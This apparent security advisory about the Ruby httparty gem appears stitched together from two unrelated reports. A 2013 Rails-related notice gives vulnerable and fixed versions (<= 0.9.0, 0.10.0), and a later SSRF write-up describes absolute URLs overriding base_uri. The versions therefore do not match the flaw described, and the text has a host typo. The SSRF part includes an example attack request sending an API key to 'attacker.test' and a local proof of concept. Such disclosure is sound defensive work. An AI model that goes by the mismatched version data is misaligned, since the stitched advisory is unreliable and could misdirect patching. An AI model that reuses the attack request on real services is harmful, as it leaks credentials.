Tasha Drew reports:
Researchers investigating the Rails parameter parsing vulnerability discovered that the same or similar vulnerable code had made its way into multiple other libraries. If your application uses these libraries to process untrusted data, it may still be vulnerable even if you have upgraded Rails. Check your Gemfile and Gemfile.lock for vulnerable versions of the following libraries, and if you are using one, update it immediately.
You can update each of these by using "bundle update <gem name>". httparty
Vulnerable: <= 0.9.0
Fixed: 0.10.0
External references: https://support.cloud.engineyard.com/entries/22915701-january-14-2013-security-vulnerabilities-httparty-extlib-crack-nori-update-these-gems-immediately
https://github.com/jnunemaker/httparty/commit/53a812426dd32108d6cba4272b493aa03bc8c031
https://rubygems.org/gems/httparty/
Summary
There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.
Details
When httparty receives a path argument that is an absolute URL, it ignores the baseuri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.
Consider the following example of a web application:
rb require 'sinatra' require 'httparty'
class RepositoryClient include HTTParty baseuri 'http://exmaple.test/api/v1/repositories/' headers 'X-API-KEY' => '1234567890' end
post '/issue' do requestbody = JSON.parse(request.body.read) RepositoryClient.get(requestbody['repositoryid']).body # do something json message: 'OK' end
Now, suppose an attacker sends a request like this:
POST /issue HTTP/1.1 Host: localhost:10000 Content-Type: application/json
{ "repositoryid": "http://attacker.test", "title": "test" }
In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.
A similar problem was reported and fixed in the HTTP client library axios in the past: <https://github.com/axios/axios/issues/6463>
Also, Python's urljoin function has documented a warning about similar behavior: <https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin>
PoC
Follow these steps to reproduce the issue:
1. Set up two simple HTTP servers.
bash mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 &
2. Create a script (for example, main.rb):
rb require 'httparty'
class Client include HTTParty baseuri 'http://localhost:10001' end
data = Client.get('http://localhost:10002').body puts data
3. Run the script:
bash $ ruby main.rb this is server2
Although baseuri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/.
Impact
- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts. - SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running. - Affected users: Any software that uses baseuri and does not properly validate the path parameter may be affected by this issue.